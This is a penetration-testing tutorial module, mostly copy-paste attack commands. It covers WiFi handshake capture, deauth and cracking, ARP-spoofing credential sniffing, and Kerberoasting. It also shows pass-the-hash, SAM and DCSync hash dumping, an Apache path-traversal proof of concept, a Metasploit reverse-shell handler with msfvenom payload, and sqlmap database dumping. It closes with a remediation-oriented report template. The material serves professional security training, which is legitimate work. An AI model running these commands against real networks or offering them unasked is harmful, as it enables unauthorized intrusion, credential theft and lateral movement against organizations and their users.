Module 6 – Extra High-Value Skills: Wireless, AD, Traffic Analysis & The Perfect Report
"Anyone can break in. Professionals break in, understand the blast radius, and teach the client how to fix it."
Welcome to the final module—the one that transforms you from a tool operator into a complete penetration tester. Here we cover the skills that separate hobbyists from hired guns: wireless warfare, Active Directory domination, traffic forensics, and the report that gets you paid.
This is your skill multiplier module. Let’s dive in.
Phase 1: Wireless Warfare
Corporate WiFi is often the softest target. If you can own the wireless perimeter, you bypass firewalls, NAC, and physical security in one move.
Aircrack-ng Suite: The Classic WiFi Kill Chain
1# Step 1: Kill interfering processes 2sudo airmon-ng check kill 3 4# Step 2: Enable monitor mode 5sudo airmon-ng start wlan0 6# Interface is now wlan0mon 7 8# Step 3: Discover targets 9sudo airodump-ng wlan0mon 10 11# Step 4: Target specific AP and capture handshake 12sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon 13 14# Step 5: Deauth to force handshake (new terminal) 15sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon 16 17# Step 6: Crack the handshake 18sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
🎯 Pro Tip: If
aireplay-ngdeauth isn't working, the AP might have 802.11w (management frame protection) enabled. Switch to a PMKID attack instead:
1sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 2hcxpcaptool -z pmkid.hash pmkid.pcapng 3hashcat -m 16800 pmkid.hash rockyou.txt
Wifite: The Lazy Hacker's Dream
When you want results without memorizing 15 flags:
1# Automatic WPA/WPA2 capture and crack 2sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt --cracked 3 4# Target only specific SSIDs 5sudo wifite --wpa --dict rockyou.txt --essid CorpWiFi -pow 50 6 7# WPS Pixie-Dust attack (older routers) 8sudo wifite --wps --pixie
Bettercap: The Modern WiFi & MITM Beast
Bettercap does WiFi recon, deauth, credential sniffing, and ARP spoofing in one tool.
1# WiFi reconnaissance and handshake capture 2sudo bettercap -iface wlan0mon 3>> wifi.recon on 4>> wifi.show 5>> set wifi.interface wlan0mon 6>> wifi.assoc AA:BB:CC:DD:EE:FF 7>> wifi.deauth AA:BB:CC:DD:EE:FF 8 9# Full MITM + packet sniffing on wired network 10sudo bettercap -iface eth0 11>> net.probe on 12>> set arp.spoof.targets 192.168.1.100 13>> arp.spoof on 14>> set net.sniff.verbose true 15>> net.sniff on
🎯 Pro Tip: Bettercap’s
net.sniffmodule captures credentials in plaintext protocols. If you seeFTP,HTTP, orTelnettraffic, you’re one step away from plaintext passwords.
Phase 2: Traffic Analysis — Seeing the Invisible
When you own a network segment, traffic tells stories that tools miss. Wireshark is the GUI king; tshark is the command-line sniper for remote servers.
Wireshark: Filters That Matter
| Filter | What It Finds |
|---|---|
http.request | All HTTP requests (great for finding admin panels) |
http contains "password" | Plaintext passwords in HTTP |
ftp.request.command == "PASS" | FTP passwords |
dns.qry.name contains "corp" | Internal domain enumeration |
smb.cmd == 0x73 | SMB session setups ( credential attempts ) |
tcp.flags.syn == 1 and tcp.flags.ack == 0 | SYN scan detection (someone is scanning you) |
ssl.handshake.type == 1 | Client Hello packets (SNI reveals domains) |
tshark: Remote Forensics at Speed
1# Live capture on specific port 2sudo tshark -i eth0 -f "tcp port 80" 3 4# Extract HTTP hosts and URIs from a pcap 5tshark -r capture.pcap -T fields -e ip.src -e http.host -e http.request.uri -Y "http.request" 6 7# Find DNS exfiltration or beaconing 8tshark -r capture.pcap -Y "dns.qry.name length > 50" -T fields -e dns.qry.name 9 10# Extract user credentials from unencrypted protocols 11tshark -r capture.pcap -Y "ftp.request.command == PASS || http.authbasic" -T fields -e ip.src -e text 12 13# Export objects (files) from HTTP traffic 14tshark -r capture.pcap --export-objects http,/tmp/exports/
🎯 Pro Tip: During red team ops, run
tsharkin ascreensession on a pivot host. It silently captures evidence of lateral movement and credentials without installing heavy GUI packages.
Phase 3: Active Directory Domination
AD is the crown jewel of enterprise networks. If you compromise AD, you compromise the organization.
BloodHound: Map the Path to Domain Admin
BloodHound visualizes AD attack paths. It answers: "How do I get from this lowly user to Domain Admin?"
1# Step 1: Start the database 2sudo neo4j console 3 4# Step 2: Collect AD data (from Linux attack box) 5bloodhound-python -u 'jsmith' -p 'Password123!' -d corp.local -c All -ns 192.168.1.10 6 7# Step 3: Launch GUI and upload JSON files 8bloodhound --no-sandbox 9 10# Step 4: Query pre-built analytics 11# "Find Shortest Paths to Domain Admin" 12# "Find AS-REP Roastable Users" 13# "Find Kerberoastable Users"
Rubeus: Kerberos Attacks from Windows
If you have a foothold on a Windows machine, Rubeus is your Kerberos swiss army knife.
1# Kerberoasting (request service tickets for offline cracking) 2Rubeus.exe kerberoast /outfile:kerberoast.txt 3 4# AS-REP Roasting (users without pre-auth) 5Rubeus.exe asreproast /outfile:asrep.txt 6 7# Dump current user's TGT 8Rubeus.exe dump /service:krbtgt /outfile:ticket.kirbi 9 10# Pass-the-Ticket (use stolen TGT) 11Rubeus.exe ptt /ticket:admin.kirbi
Impacket + CrackMapExec: The AD One-Two Punch
1# Enumerate SMB across the domain 2crackmapexec smb 192.168.1.0/24 -u jsmith -p 'Password123!' -d corp.local 3 4# Dump SAM hashes from every reachable host 5crackmapexec smb 192.168.1.0/24 -u jsmith -p 'Password123!' --sam 6 7# BloodHound data collection via LDAP 8crackmapexec ldap 192.168.1.10 -u jsmith -p 'Password123!' --bloodhound --collection All 9 10# Pass-the-Hash lateral movement 11psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.101 12 13# DCSync (extract all domain hashes — requires Domain Admin or DRS rights) 14secretsdump.py corp.local/administrator:Password123@192.168.1.10
🎯 Pro Tip: After running BloodHound, prioritize "Shortest Path to Domain Admin" but also check "Kerberoastable Users with Most Privileges." A service account with local admin rights is often your fastest escalation path.
Phase 4: The Art of Reporting
A finding without proof is an opinion. A report without remediation is useless. Documentation is what converts your access into client value.
The CVSS Scoring Framework
Every finding gets a CVSS v3.1 score. Here is the quick mental model:
| Severity | Score | Example |
|---|---|---|
| Critical | 9.0–10.0 | Remote code execution, unauth domain admin |
| High | 7.0–8.9 | SQL injection leading to data dump, pass-the-hash |
| Medium | 4.0–6.9 | Missing security headers, verbose error messages |
| Low | 0.1–3.9 | Software version disclosure, weak cipher suites |
| Informational | 0.0 | Banner grabbing, service enumeration |
The Perfect Finding Template
Use this script/template for every vulnerability in your report:
1#!/bin/bash 2# finding_template.sh - Generate consistent report sections 3 4cat << 'EOF' 5 6### VULN-001: Unauthenticated Apache Path Traversal (CVE-2021-41773) 7 8**Severity:** Critical (CVSS: 9.8) 9**Affected Host:** https://target.com 10**Description:** The Apache HTTP Server 2.4.49 contains a path traversal flaw in the `normalize_path` function, allowing attackers to read arbitrary files and execute remote code via mapped CGI scripts. 11 12**Proof of Concept:** 13```bash 14curl --path-as-is http://target.com/cgi-bin/.%2e/.%2e/.%2e/etc/passwd 15# Response contained: root:x:0:0:root:/root:/bin/bash
Impact:
- Full server compromise
- Lateral movement via leaked SSH keys
- Data exfiltration
Remediation:
- Upgrade Apache HTTP Server to version 2.4.50 or later immediately.
- If immediate patching is impossible, disable CGI module:
a2dismod cgi - Implement WAF rules to block
.%2epath traversal patterns. - Verify fix by re-running:
curl --path-as-is [URL]and confirming 404 response.
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- https://httpd.apache.org/security/vulnerabilities_24.html
EOF
Report Structure That Clients Love
- Executive Summary — One page. Business risk in plain English. No jargon.
- Methodology — Tools used, scope, testing period, limitations.
- Risk Rating Matrix — Visual chart of Critical/High/Medium/Low counts.
- Technical Findings — Use the template above. One per vulnerability.
- Attack Path Narratives — "We started at X, pivoted through Y, achieved Z." This tells the story.
- Remediation Roadmap — Prioritized by CVSS and exploitability. Give them a TODO list, not a textbook.
🎯 Pro Tip: Include screenshots of every exploit step. A report with
hashdumpoutput and a Meterpreter screenshot is undeniable proof. Redact sensitive data, but prove impact.
The Pentester's Pocket Reference: Mini Scripts for Every High-ROI Tool
Here is your copy-paste cheat sheet for the entire toolkit. Save this. Print it. Laminate it.
1#!/bin/bash 2# ============================================ 3# THE PENTESTER'S POCKET REFERENCE 4# ============================================ 5 6# --- 1. NMAP (Network Foundation) --- 7# Quick host discovery 8nmap -sn 192.168.1.0/24 9 10# Full port scan with service detection 11nmap -sV -sC -p- -oN full_scan.txt target.com 12 13# Vulnerability scan 14nmap -sV --script=vuln -oN vuln_scan.txt target.com 15 16# --- 2. BURP SUITE (Web App Core) --- 17# Proxy: 127.0.0.1:8080 | Import CA cert at http://burpsuite/cert 18# Send to Repeater: Right-click request > Send to Repeater 19# Intruder Sniper: One payload, one position 20# Intruder Cluster Bomb: Brute-force username + password combos 21 22# --- 3. METASPLOIT (Exploitation) --- 23msfconsole -q -x " 24use exploit/multi/handler 25set PAYLOAD linux/x64/meterpreter/reverse_tcp 26set LHOST 192.168.1.50 27set LPORT 4444 28exploit -j -z 29" 30 31# Generate payload 32msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf 33 34# Post-exploitation 35# sysinfo, getuid, ps, migrate <PID>, shell, hashdump, background 36 37# --- 4. NUCLEI (Modern Vuln Scanning) --- 38nuclei -u https://target.com -t cves/ -t vulnerabilities/ -o nuclei.txt 39nuclei -l targets.txt -s critical,high -rl 10 40 41# --- 5. GOBUSTER / FFUF (Content Discovery) --- 42gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak 43ffuf -u https://target.com/FUZZ -w wordlist.txt 44ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt 45 46# --- 6. SQLMAP (SQL Injection) --- 47sqlmap -u "https://target.com/page?id=1" --batch --dbs 48sqlmap -u "https://target.com/page?id=1" --batch -D target_db --dump 49sqlmap -r request.txt --batch --level=3 --risk=3 50 51# --- 7. IMPACKET + CRACKMAPEXEC (Windows/AD) --- 52crackmapexec smb 192.168.1.0/24 -u admin -p 'Pass123' --sam 53psexec.py domain/admin:Pass123@192.168.1.101 54secretsdump.py domain/admin:Pass123@192.168.1.10 55# Pass-the-Hash: psexec.py -hashes LM:NT admin@192.168.1.101 56 57# --- 8. HASHCAT / JOHN (Password Cracking) --- 58hashcat -m 1000 ntlm.txt rockyou.txt # NTLM 59hashcat -m 1800 shadow.txt rockyou.txt # sha512crypt 60john --wordlist=rockyou.txt hashes.txt # Unix hashes 61john --show hashes.txt # View cracked 62 63# --- 9. AIRCRACK-NG (Wireless) --- 64sudo airmon-ng start wlan0 65sudo airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w cap wlan0mon 66sudo aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon 67sudo aircrack-ng cap-01.cap -w rockyou.txt 68 69# --- 10. WIRESHARK / TSHARK (Traffic Analysis) --- 70# Wireshark filters: http.request, dns, smb.cmd == 0x73, ssl.handshake.type == 1 71tshark -r capture.pcap -Y "http.request" -T fields -e ip.src -e http.host 72tshark -i eth0 -f "tcp port 80" -w live.pcap 73 74# --- 11. BLOODHOUND / RUBEUS (AD Enumeration) --- 75bloodhound-python -u user -p pass -d domain.local -c All -ns 192.168.1.10 76Rubeus.exe kerberoast /outfile:roast.txt 77Rubeus.exe asreproast /outfile:asrep.txt 78 79--- 80 81## Key Takeaways 82 831. **Wireless is a perimeter bypass.** If the WiFi is weak, the entire internal network is exposed. 842. **Aircrack-ng is the foundation; Wifite is the shortcut; Bettercap is the future.** Know all three. 853. **Traffic never lies.** Wireshark reveals credentials, beacons, and misconfigurations that scanners miss. 864. **BloodHound turns AD chaos into a roadmap.** If you can't see the path to Domain Admin, you haven't enumerated enough. 875. **Rubeus weaponizes Kerberos.** Kerberoasting and AS-REP roasting give you hashes without ever touching LSASS. 886. **CrackMapExec is a credential multiplier.** One valid account + CME = entire domain topology. 897. **CVSS provides objective severity.** It stops arguments about "how bad is this" and focuses on "how fast do we fix it." 908. **Proof + Remediation = Professionalism.** Screenshots and copy-paste fixes make your report actionable. 91 92---